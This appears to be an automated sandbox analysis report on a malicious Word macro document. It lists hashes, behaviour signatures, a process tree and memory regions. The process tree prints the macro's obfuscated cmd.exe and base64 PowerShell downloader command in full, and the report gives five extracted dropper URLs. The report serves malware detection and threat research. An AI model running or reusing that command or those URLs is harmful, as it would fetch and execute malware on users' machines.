Analysis

  • max time kernel
    122s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    31-05-2024 05:27

General

  • Target

    8617a84a18d514171100484b5fd82daa_JaffaCakes118.doc

  • Size

    109KB

  • MD5

    8617a84a18d514171100484b5fd82daa

  • SHA1

    050793d3dcef4f773a26d382e48240391280564f

  • SHA256

    d28e788eab1e2747d44c9d590fb591894baa3406fb0decb02913923b60a8169a

  • SHA512

    051a68e6a9ee1f5c83c0e8c550c05e0ca575ec885476dd50bbc4faee9db2c409d1173a0ed98d254e1b112f3742455c5eed7f82ae1046c0bf929e3dd0eb1d1db6

  • SSDEEP

    768:rfqW2eQ2GBbBi0aWk+1ogDaj9nZUMwIwq4GxaFYtEpg4aAQzTsZreSB1t9ykLYUE:rn2eQ2mBXaWk+agO9CJmcFTpTgwzB4V

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://spskamin.ru/Aq2HM/

exe.dropper

http://djivi.nl/p8mjDNV/

exe.dropper

http://www.jargonmedya.com/eT3KGw/

exe.dropper

http://edeal.com.my/KsEg0iF/

exe.dropper

http://mickdoyle.com/l4p6j/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8617a84a18d514171100484b5fd82daa_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2552
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1148
      • C:\Windows\SysWOW64\Cmd.exe
        Cmd jZMqvUMV OpuUvzPmDWojPmrjJTf wSVBnPCz & %^c^o^m^S^p^E^c^% %^c^o^m^S^p^E^c^% /V /c set %jZkwEYREQzUiHYj%=XCJZzLKtpOQW&&set %ZVJAjuUzHbGao%=p&&set %zKkYuziS%=o^w&&set %YSIhMnTzfrbrUmS%=zzzaijik&&set %SUXuSvSz%=!%ZVJAjuUzHbGao%!&&set %GdzXPrHqHvjwrmV%=EmGfaSENtA&&set %rKaWlEWtuIUo%=e^r&&set %VQSNEcWJWNT%=!%zKkYuziS%!&&set %roGwXJC%=s&&set %tsOqnpoXbjnwink%=jZGUSNbfWwcz&&set %iFwzciIaE%=he&&set %OHnSqGYjvkh%=ll&&!%SUXuSvSz%!!%VQSNEcWJWNT%!!%rKaWlEWtuIUo%!!%roGwXJC%!!%iFwzciIaE%!!%OHnSqGYjvkh%! -e IAAoAE4ARQBXAC0AbwBiAGoAZQBDAFQAIABTAFkAUwBUAEUAbQAuAGkATwAuAEMAbwBtAFAAcgBlAHMAUwBpAE8AbgAuAEQAZQBmAGwAYQBUAGUAcwB0AFIAZQBBAG0AKAAgAFsAaQBvAC4AbQBFAE0AbwBSAFkAcwB0AFIARQBBAE0AXQBbAEMATwBuAHYARQByAHQAXQA6ADoAZgBSAG8AbQBCAGEAcwBlADYANABTAFQAUgBJAE4AZwAoACcAVgBaAEQAdABhADgASQB3AEUATQBiAC8AbABYAHcAbwBWAE4AbABNADEAUQAwAFoAbABvAEgAYgAxAEwAMwA0AE4AbABBADIAbABNAEcASQA2AFUAMwBUAE4AawBsAE4AYgBzAFoATwAvAE4AOQBYAG4AUQByADcAYwBuAEQAMwBlAHgANwB1AG4AdgBQADYAcwAzADUAaQB5AEMAMQBSADQAQwBwADYASABnAE4ASABZAHAAaQBLAHQAQQB3ADkAUABwADIAdgBoAHYARgAvAE4AcwA0AHQAZwBxAFIARABRAFAAbwBPADgANABkAFUAZwBNAEwAUQBjAHkATwBMAHEAaABEADYAUwA4AFMAcwBHAFEAUQAyAHMAdwBtAFQAUQBsAEgAegBIAGQAeQB0ADYAawArAEQAbwBIAFUAawBVAFMAegBXAGcAcQBvADAAeQBHADUAawAzAEIANgArAG4AWQBGAHoAagBzAGIATQBMAEwAUwBTAEUATwBXAE0AYwBpADAARABtAEYAegAxAEgAdAAxAFoAQQBoAEcAdwBkAEEAKwBvAHoASQBPAGUANwBTAHkAcQBvAG4AdQBHAFUAdgBBAGsAMABuAGsASwBCADIAZAA2AG4AVABYAGkAdwBLAGYAagBMAEIAVgBZADgAbAB0ACsATwBmAFIANgBNADIAdAAvAFgASABHAGwAZAA4AGgATQBGAFcAeQB3AFYATABzAGsAagBXAHEAOQBWAHEAOABWAEEAdgB2ADgAcwBrAHIAMgBlAFQAMQBRADYAMgBZAFIATQB5AE0AWAB4AFAALwB3AGkAMwBvAHkARgB6ADIARgBEAGYAagBoAGwAegBiAEEAKwBMAEwAawBqAGEAYgAzAFcAaABLAGgAeQBOADgAVAB5AGwAcwAwACsAZgBiADQATwB0AHIAVwBUAHEAVwBhAFIAVgAyAFIAdwBsAEYASwBKADMAcQBNAFIAcQBoAEYAcQBYAHgASgBqAGkAdgBMADQAUgBpAFoAdwBjAHEAcgAwAFIAeQBzAFAAWQAzAEQAZQBiAEUAagBDAFgAZQBjAEkAVgA5AHUAbgBSAEUASQBsAGEAVwAyAFMATAB4AFAAMgB0AGwAdwB5AEYAQgBvAFIAUQBlAEYAZwB5ADAAZwAzAE8AMQArAEEAUQA9AD0AJwAgACkALAAgAFsAUwB5AFMAdABlAG0ALgBpAE8ALgBDAG8AbQBwAFIARQBTAHMASQBPAE4ALgBjAE8ATQBQAFIAZQBzAHMASQBvAE4AbQBvAEQARQBdADoAOgBEAEUAYwBvAE0AcABSAEUAcwBzACAAKQAgAHwAIABGAG8AcgBFAGEAYwBoAHsAIABOAEUAVwAtAG8AYgBqAGUAQwBUACAAaQBvAC4AcwBUAFIARQBBAG0AUgBlAGEARABlAHIAKAAgACQAXwAgACwAWwBzAFkAUwB0AEUAbQAuAFQARQB4AHQALgBlAE4AQwBPAEQASQBuAGcAXQA6ADoAQQBzAGMAaQBJACAAKQB9AHwARgBvAFIAZQBhAEMAaAB7ACAAJABfAC4AcgBlAEEAZABUAE8AZQBOAGQAKAApAH0AIAApAHwAJgAgACgAIAAkAEUAbgBWADoAQwBvAE0AUwBQAGUAYwBbADQALAAxADUALAAyADUAXQAtAGoAbwBJAG4AJwAnACkA
        2⤵
        • Process spawned unexpected child process
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:2640
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -e IAAoAE4ARQBXAC0AbwBiAGoAZQBDAFQAIABTAFkAUwBUAEUAbQAuAGkATwAuAEMAbwBtAFAAcgBlAHMAUwBpAE8AbgAuAEQAZQBmAGwAYQBUAGUAcwB0AFIAZQBBAG0AKAAgAFsAaQBvAC4AbQBFAE0AbwBSAFkAcwB0AFIARQBBAE0AXQBbAEMATwBuAHYARQByAHQAXQA6ADoAZgBSAG8AbQBCAGEAcwBlADYANABTAFQAUgBJAE4AZwAoACcAVgBaAEQAdABhADgASQB3AEUATQBiAC8AbABYAHcAbwBWAE4AbABNADEAUQAwAFoAbABvAEgAYgAxAEwAMwA0AE4AbABBADIAbABNAEcASQA2AFUAMwBUAE4AawBsAE4AYgBzAFoATwAvAE4AOQBYAG4AUQByADcAYwBuAEQAMwBlAHgANwB1AG4AdgBQADYAcwAzADUAaQB5AEMAMQBSADQAQwBwADYASABnAE4ASABZAHAAaQBLAHQAQQB3ADkAUABwADIAdgBoAHYARgAvAE4AcwA0AHQAZwBxAFIARABRAFAAbwBPADgANABkAFUAZwBNAEwAUQBjAHkATwBMAHEAaABEADYAUwA4AFMAcwBHAFEAUQAyAHMAdwBtAFQAUQBsAEgAegBIAGQAeQB0ADYAawArAEQAbwBIAFUAawBVAFMAegBXAGcAcQBvADAAeQBHADUAawAzAEIANgArAG4AWQBGAHoAagBzAGIATQBMAEwAUwBTAEUATwBXAE0AYwBpADAARABtAEYAegAxAEgAdAAxAFoAQQBoAEcAdwBkAEEAKwBvAHoASQBPAGUANwBTAHkAcQBvAG4AdQBHAFUAdgBBAGsAMABuAGsASwBCADIAZAA2AG4AVABYAGkAdwBLAGYAagBMAEIAVgBZADgAbAB0ACsATwBmAFIANgBNADIAdAAvAFgASABHAGwAZAA4AGgATQBGAFcAeQB3AFYATABzAGsAagBXAHEAOQBWAHEAOABWAEEAdgB2ADgAcwBrAHIAMgBlAFQAMQBRADYAMgBZAFIATQB5AE0AWAB4AFAALwB3AGkAMwBvAHkARgB6ADIARgBEAGYAagBoAGwAegBiAEEAKwBMAEwAawBqAGEAYgAzAFcAaABLAGgAeQBOADgAVAB5AGwAcwAwACsAZgBiADQATwB0AHIAVwBUAHEAVwBhAFIAVgAyAFIAdwBsAEYASwBKADMAcQBNAFIAcQBoAEYAcQBYAHgASgBqAGkAdgBMADQAUgBpAFoAdwBjAHEAcgAwAFIAeQBzAFAAWQAzAEQAZQBiAEUAagBDAFgAZQBjAEkAVgA5AHUAbgBSAEUASQBsAGEAVwAyAFMATAB4AFAAMgB0AGwAdwB5AEYAQgBvAFIAUQBlAEYAZwB5ADAAZwAzAE8AMQArAEEAUQA9AD0AJwAgACkALAAgAFsAUwB5AFMAdABlAG0ALgBpAE8ALgBDAG8AbQBwAFIARQBTAHMASQBPAE4ALgBjAE8ATQBQAFIAZQBzAHMASQBvAE4AbQBvAEQARQBdADoAOgBEAEUAYwBvAE0AcABSAEUAcwBzACAAKQAgAHwAIABGAG8AcgBFAGEAYwBoAHsAIABOAEUAVwAtAG8AYgBqAGUAQwBUACAAaQBvAC4AcwBUAFIARQBBAG0AUgBlAGEARABlAHIAKAAgACQAXwAgACwAWwBzAFkAUwB0AEUAbQAuAFQARQB4AHQALgBlAE4AQwBPAEQASQBuAGcAXQA6ADoAQQBzAGMAaQBJACAAKQB9AHwARgBvAFIAZQBhAEMAaAB7ACAAJABfAC4AcgBlAEEAZABUAE8AZQBOAGQAKAApAH0AIAApAHwAJgAgACgAIAAkAEUAbgBWADoAQwBvAE0AUwBQAGUAYwBbADQALAAxADUALAAyADUAXQAtAGoAbwBJAG4AJwAnACkA
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3048

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      248a8d06989e1e8cd2213208206817e6

      SHA1

      a3c533afecab2ca3fa210772facb3e82c308d100

      SHA256

      de4e2a0e442ea3e261fd7b156881ff598e11e553b6b6ae43ae6735f40f4a156f

      SHA512

      4650099ca9aef07ed7689fc44ce7b65a0b36f47ab7d77522f8749c7552a67415ee59adcd8eb172253812b7270cfd87ded4af65791b42547b5a6803a3681f837b

    • memory/2552-12-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-31-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-24-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-11-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-48-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-42-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-36-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-10-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-30-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-18-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-17-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-16-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-15-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-9-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-13-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-0-0x000000002FF01000-0x000000002FF02000-memory.dmp

      Filesize

      4KB

    • memory/2552-54-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-2-0x0000000070F0D000-0x0000000070F18000-memory.dmp

      Filesize

      44KB

    • memory/2552-14-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-6-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-60-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-59-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-58-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-57-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-56-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-55-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-8-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-7-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-73-0x0000000070F0D000-0x0000000070F18000-memory.dmp

      Filesize

      44KB

    • memory/2552-74-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/2552-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2552-89-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2552-90-0x0000000070F0D000-0x0000000070F18000-memory.dmp

      Filesize

      44KB